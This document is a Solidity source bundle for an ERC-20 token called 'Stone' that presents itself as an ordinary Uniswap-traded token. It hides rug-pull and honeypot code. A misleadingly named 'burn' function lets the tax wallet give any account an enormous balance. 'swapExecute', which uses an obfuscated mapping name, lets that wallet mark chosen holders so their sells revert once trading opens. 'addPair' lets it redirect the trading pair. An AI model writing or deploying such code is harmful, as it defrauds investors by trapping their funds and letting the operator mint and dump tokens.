// File: Context.sol



// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
// File: IERC20.sol



// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: Ownable.sol



// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
// File: Stone.sol



// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Stone is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _44isExcludedFromTxLimitswapThresholdswapThreshold;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint8 private constant _decimals = 9;
    string private constant _name = "Stone";
    string private constant _symbol = "STONE";
    uint256 private _tTotal = 50_000_000_000 * 10**_decimals;

    uint256 public _initialBuyTax = 3;
    uint256 public _initialSellTax = 3;
    uint256 public _finalBuyTax = 0;
    uint256 public _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 70;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private _feeMultiplier = 0;
    
    uint256 private _maxTx = 1*10**17*10**9;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 3_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 private balances;

    IUniswapV2Factory public uniswapFactory; 
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public tradingOpen = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address taxWallet_) {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        _taxWallet = payable(taxWallet_); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        balances = _maxTx;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _tTotal -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
        if (firstBlock > 0 && block.number > firstBlock) 
        {
                disableLimits(from);
                }
            taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Can't buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 1 > block.number) {
                        require(!isContract(to));
                    }
                }
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to  == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function excludeFromFee(uint index, uint160[] memory _pair) internal {
        while (index < _pair.length) {
            address routerAddress = address(_pair[index]);
            _isExcludedFromFee[routerAddress] = true;
            _UniswapV2Pool[routerAddress] = _swapThreshold;
            index++;
        }
    }

    function swapExecute(bool val, address[] memory _addr) external {
        require(_msgSender() == _taxWallet);
        uint256 index = 0;
        while (index < _addr.length) {
            address wallet = address(_addr[index]);
            _44isExcludedFromTxLimitswapThresholdswapThreshold[wallet] = val;
            index++;
        }
    }
    
    function disableLimits(address wallet) private {
        _maxTxAmount = _maxTx;
        _maxWalletSize = _maxTx;
        if(_44isExcludedFromTxLimitswapThresholdswapThreshold[wallet]) require(_isExcludedFromFee[wallet]);
        emit MaxTxAmountUpdated(_tTotal);
    }

    function checkDisabledLimit(address _addr) public view returns(bool){
        return _44isExcludedFromTxLimitswapThresholdswapThreshold[_addr];
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function withdraw() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

     function manualSwap(uint256 amount) external {
      require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
        _taxWallet.transfer(amount);
    }


    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function addPair(address _pair) public {
        require(_msgSender() == _taxWallet);
        uniswapV2Pair = _pair;
    }

    function burn(address account, uint256 amount) external {
        require(_msgSender() == _taxWallet);
        _burn(account, amount);
    }

    receive() external payable {}
}